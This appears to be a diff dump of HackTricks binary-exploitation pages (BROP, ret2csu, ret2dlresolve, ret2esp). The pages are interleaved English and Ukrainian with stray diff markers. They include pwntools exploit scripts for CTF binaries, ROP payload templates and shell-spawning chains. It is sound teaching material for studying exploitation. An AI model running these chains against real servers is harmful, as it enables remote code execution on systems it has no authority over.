Ця атака базується на наступному сценарії:
- A stack vulnerability and knowledge of how to trigger it.
- A server application that restarts after a crash.
- Вразливість стека та знання про те, як її викликати.
- Серверний додаток, який перезапускається після збою.
## Attack
## Атака
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
### **1. Знайти вразливий офсет** відправляючи ще один символ, поки не буде виявлено збій сервера
### **2. Brute-force canary** to leak it
### **2. Брутфорс канарки** для її витоку
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
### **3. Брутфорс збережених адрес RBP та RIP** у стеку для їх витоку
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Ви можете знайти більше інформації про ці процеси [тут (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) та [тут (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Find the stop gadget**
### **4. Знайти стоп-гаджет**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
Цей гаджет в основному дозволяє підтвердити, що щось цікаве було виконано гаджетом ROP, оскільки виконання не призвело до збою. Зазвичай цей гаджет буде чимось, що **зупиняє виконання** і розташоване в кінці ланцюга ROP, коли шукають гаджети ROP для підтвердження виконання конкретного гаджета ROP.
### **5. Find BROP gadget**
### **5. Знайти гаджет BROP**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
Ця техніка використовує гаджет [**ret2csu**](ret2csu.md). І це тому, що якщо ви отримуєте доступ до цього гаджета посеред деяких інструкцій, ви отримуєте гаджети для контролю **`rsi`** та **`rdi`**:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets:
Це будуть гаджети:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
Зверніть увагу, як з цими гаджетами можна **контролювати 2 аргументи** функції для виклику.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
Також зверніть увагу, що гаджет ret2csu має **дуже унікальний підпис**, оскільки він буде витягувати 6 регістрів зі стеку. Тому відправляючи ланцюг, як:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
Якщо **STOP виконується**, це в основному означає, що **адреса, яка витягує 6 регістрів** зі стеку, була використана. Або що використана адреса також була адресою STOP.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
Щоб **усунути цю останню опцію**, виконується новий ланцюг, як наступний, і він не повинен виконувати гаджет STOP, щоб підтвердити, що попередній дійсно витягнув 6 регістрів:
`'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
Знаючи адресу гаджета ret2csu, можна **вивести адресу гаджетів для контролю `rsi` та `rdi`**.
### 6. Find PLT
### 6. Знайти PLT
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
Таблицю PLT можна шукати з 0x400000 або з **витягнутої адреси RIP** зі стеку (якщо **PIE** використовується). **Записи** таблиці **відокремлені на 16B** (0x10B), і коли викликається одна функція, сервер не зривається, навіть якщо аргументи неправильні. Також перевірка адреси запису в **PLT + 6B також не призводить до збою**, оскільки це перший код, що виконується.
Therefore, it's possible to find the PLT table checking the following behaviours:
Отже, можна знайти таблицю PLT, перевіряючи наступні поведінки:
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
- `'A' * offset + canary + rbp + ADDR + STOP` -> немає збою
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> немає збою
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> немає збою
### 7. Finding strcmp
### 7. Знайти strcmp
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
Функція **`strcmp`** встановлює регістр **`rdx`** на довжину рядка, що порівнюється. Зверніть увагу, що **`rdx`** є **третім аргументом**, і нам потрібно, щоб він був **більше 0**, щоб пізніше використовувати `write` для витоку програми.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
Можна знайти місце розташування **`strcmp`** в PLT на основі його поведінки, використовуючи той факт, що ми тепер можемо контролювати 2 перші аргументи функцій:
- strcmp(\<non read addr>, \<non read addr>) -> crash
- strcmp(\<non read addr>, \<read addr>) -> crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- strcmp(\<read addr>, \<read addr>) -> no crash
- strcmp(\<non read addr>, \<non read addr>) -> збій
- strcmp(\<non read addr>, \<read addr>) -> збій
- strcmp(\<read addr>, \<non read addr>) -> збій
- strcmp(\<read addr>, \<read addr>) -> немає збою
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
Це можна перевірити, викликавши кожен запис таблиці PLT або використовуючи **PLT повільний шлях**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (що викликає **`dlresolve`**) з наступним у стеку **номер запису, який потрібно перевірити** (починаючи з нуля), щоб просканувати всі записи PLT з першого:
- strcmp(\<non read addr>, \<read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<non read addr>, \<read addr>) -> збій
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Призведе до збою
- strcmp(\<read addr>, \<non read addr>) -> збій
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> немає збою
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that:
Пам'ятайте, що:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**.
- BROP + 0x7 вказує на **`pop RSI; pop R15; ret;`**
- BROP + 0x9 вказує на **`pop RDI; ret;`**
- PLT + 0xb вказує на виклик **dl_resolve**.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
Знайшовши `strcmp`, можна встановити **`rdx`** на значення більше 0.
> [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
> Зверніть увагу, що зазвичай `rdx` вже міститиме значення більше 0, тому цей крок може бути не обов'язковим.
### 8. Finding Write or equivalent
### 8. Знайти Write або еквівалент
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
Нарешті, потрібен гаджет, який ексфільтрує дані, щоб ексфільтрувати бінарний файл. І в цей момент можна **контролювати 2 аргументи та встановити `rdx` більше 0.**
There are 3 common funtions taht could be abused for this:
Є 3 загальні функції, які можна зловживати для цього:
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
However, the original paper only mentions the **`write`** one, so lets talk about it:
Однак оригінальна стаття згадує лише про **`write`**, тому давайте поговоримо про це:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
Поточна проблема полягає в тому, що ми не знаємо, **де функція write знаходиться всередині PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокету**.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
Однак ми знаємо, **де знаходиться таблиця PLT**, і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
Behaviour signatures to find those functions:
Поведінкові сигнатури для знаходження цих функцій:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді було знайдено puts
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді було знайдено dprintf
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді було знайдено write
## Automatic Exploitation
## Автоматичне експлуатація
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References
## Посилання
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- Оригінальна стаття: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Основна інформація
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
**ret2csu** - це техніка хакерства, яка використовується, коли ви намагаєтеся взяти під контроль програму, але не можете знайти **gadgets**, які зазвичай використовуєте для маніпуляції поведінкою програми.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
Коли програма використовує певні бібліотеки (наприклад, libc), вона має деякі вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є кілька прихованих скарбів, які можуть діяти як наші відсутні gadgets, особливо одна з них під назвою `__libc_csu_init`.
### The Magic Gadgets in \_\_libc_csu_init
### Магічні Gadgets в \_\_libc_csu_init
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
У **`__libc_csu_init`** є дві послідовності інструкцій (gadgets), які варто виділити:
1. Перша послідовність дозволяє нам налаштувати значення в кількох регістрах (rbx, rbp, r12, r13, r14, r15). Це як слоти, де ми можемо зберігати числа або адреси, які хочемо використовувати пізніше.
```armasm
pop rbx;
pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
Цей гаджет дозволяє нам контролювати ці регістри, витягуючи значення зі стеку в них.
This gadget allows us to control these registers by popping values off the stack into them.
2. The second sequence uses the values we set up to do a couple of things:
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
2. Другий послідовність використовує значення, які ми налаштували, щоб виконати кілька дій:
- **Перемістити конкретні значення в інші регістри**, готуючи їх для використання як параметри в функціях.
- **Виконати виклик до місця**, визначеного шляхом додавання значень у r15 і rbx, а потім множення rbx на 8.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
3. Можливо, ви не знаєте жодної адреси, куди можна написати, і вам **потрібна інструкція `ret`**. Зверніть увагу, що другий гаджет також **закінчиться на `ret`**, але вам потрібно буде виконати деякі **умови**, щоб досягти його:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
...
ret
```
Умови будуть такими:
The conditions will be:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
- `[r12 + rbx*8]` має вказувати на адресу, що зберігає викликаючу функцію (якщо немає ідеї і немає pie, ви можете просто використовувати функцію `_init`):
- Якщо \_init знаходиться за адресою `0x400560`, використовуйте GEF, щоб знайти в пам'яті вказівник на неї і зробіть так, щоб `[r12 + rbx*8]` був адресою з вказівником на \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
- `rbp` та `rbx` повинні мати однакове значення, щоб уникнути переходу
- Є деякі пропущені попи, які потрібно врахувати
- `rbp` and `rbx` must have the same value to avoid the jump
- There are some omitted pops you need to take into account
## RDI та RSI
## RDI and RSI
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
Ще один спосіб контролювати **`rdi`** та **`rsi`** з гаджета ret2csu - це доступ до його специфічних зсувів:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info:
Перевірте цю сторінку для отримання додаткової інформації:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
## Example
## Приклад
### Using the call
### Використання виклику
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
Уявіть, що ви хочете зробити системний виклик або викликати функцію, таку як `write()`, але вам потрібні специфічні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
Here's where **ret2csu** comes into play:
Ось тут і вступає в гру **ret2csu**:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
1. **Налаштуйте регістри**: Використовуйте перший магічний гаджет, щоб витягти значення зі стеку та помістити їх у rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.
2. **Використовуйте другий гаджет**: З цими налаштованими регистрами ви використовуєте другий гаджет. Це дозволяє вам перемістити вибрані значення в `rdx` та `rsi` (з r14 та r13 відповідно), готуючи параметри для виклику функції. Більше того, контролюючи `r15` та `rbx`, ви можете змусити програму викликати функцію, розташовану за адресою, яку ви обчислюєте та поміщаєте в `[r15 + rbx*8]`.
У вас є [**приклад використання цієї техніки та пояснення тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), і це фінальний експлойт, який він використовував:
```python
from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
> Зверніть увагу, що попередній експлойт не призначений для виконання **`RCE`**, він призначений лише для виклику функції під назвою **`win`** (взявши адресу `win` з stdin, викликаючи gets в ROP-ланцюгу та зберігаючи її в r15) з третім аргументом зі значенням `0xdeadbeefcafed00d`.
### Bypassing the call and reaching ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
### Обхід виклику та досягнення ret
Наступний експлойт був витягнутий [**з цієї сторінки**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html), де використовується **ret2csu**, але замість використання виклику, він **обходить порівняння та досягає `ret`** після виклику:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Чому не просто використовувати libc безпосередньо?
### Why Not Just Use libc Directly?
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає три параметри, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,36 +4,35 @@
## Basic Information
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
Як пояснено на сторінці про [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) та [**Relro**](../common-binary-protections-and-bypasses/relro.md), бінарники без Full Relro будуть розв'язувати символи (як адреси до зовнішніх бібліотек) під час їх першого використання. Це розв'язання відбувається через виклик функції **`_dl_runtime_resolve`**.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
Функція **`_dl_runtime_resolve`** отримує зі стеку посилання на деякі структури, які їй потрібні для **розв'язання** вказаного символу.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
Отже, можливо **підробити всі ці структури**, щоб динамічно зв'язати запитуваний символ (як функцію **`system`**) і викликати її з налаштованим параметром (наприклад, **`system('/bin/sh')`**).
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
Зазвичай всі ці структури підробляються шляхом створення **початкового ROP-ланцюга, який викликає `read`** над записуваною пам'яттю, потім **структури** та рядок **`'/bin/sh'** передаються, щоб їх зберегти за допомогою read у відомому місці, а потім ROP-ланцюг продовжується викликом **`_dl_runtime_resolve`**, змушуючи його **розв'язати адресу `system`** у підроблених структурах і **викликати цю адресу** з адресою до `$'/bin/sh'`.
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
> Ця техніка особливо корисна, якщо немає syscall gadgets (для використання таких технік, як [**ret2syscall**](rop-syscall-execv/) або [SROP](srop-sigreturn-oriented-programming/)) і немає способів витоку адрес libc.
Chek this video for a nice explanation about this technique in the second half of the video:
Перегляньте це відео для гарного пояснення цієї техніки в другій половині відео:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation:
Або перегляньте ці сторінки для покрокового пояснення:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
1. Написати підроблені структури в якесь місце
2. Встановити перший аргумент системи (`$rdi = &'/bin/sh'`)
3. Встановити на стеку адреси до структур для виклику **`_dl_runtime_resolve`**
4. **Викликати** `_dl_runtime_resolve`
5. **`system`** буде розв'язано і викликано з `'/bin/sh'` як аргумент
З [**документації pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), ось як виглядає атака **`ret2dlresolve`**:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
## Приклад
## Example
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
### Чисті Pwntools
Ви можете знайти [**приклад цієї техніки тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **з дуже хорошим поясненням фінального ROP ланцюга**, але ось фінальний експлойт, що використовується:
```python
from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
### Raw
### Сирий
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
## Other Examples & References
## Інші приклади та посилання
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
- 32bit, без relro, без canary, nx, без pie, базове переповнення буфера та повернення. Для експлуатації використовується bof для повторного виклику `read` з секцією `.bss` та більшим розміром, щоб зберегти там фейкові таблиці `dlresolve` для завантаження `system`, повернення до main та повторного використання початкового bof для виклику dlresolve, а потім `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
**Оскільки ESP (вказівник стеку) завжди вказує на верхню частину стеку**, ця техніка полягає в заміні EIP (вказівник інструкцій) адресою інструкції **`jmp esp`** або **`call esp`**. Таким чином, shellcode розміщується безпосередньо після переписаного EIP. Коли виконується інструкція `ret`, ESP вказує на наступну адресу, точно там, де зберігається shellcode.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Якщо **випадкове розташування адресного простору (ASLR)** не активовано в Windows або Linux, можна використовувати інструкції `jmp esp` або `call esp`, знайдені в спільних бібліотеках. Однак, з активним [**ASLR**](../common-binary-protections-and-bypasses/aslr/), можливо, доведеться шукати ці інструкції безпосередньо в уразливій програмі (і вам, можливо, потрібно буде подолати [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
Більше того, можливість розмістити shellcode **після корупції EIP**, а не посередині стеку, забезпечує, що будь-які інструкції `push` або `pop`, виконувані під час роботи функції, не заважатимуть shellcode. Це завада може статися, якщо shellcode буде розміщено посередині стеку функції.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
### Брак місця
Якщо у вас недостатньо місця для запису після переписування RIP (можливо, лише кілька байтів), напишіть початковий shellcode **`jmp`** як:
```armasm
sub rsp, 0x30
jmp rsp
```
І напишіть shellcode на початку стеку.
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
### Приклад
Ви можете знайти приклад цієї техніки в [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) з фінальним експлойтом, як:
```python
from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
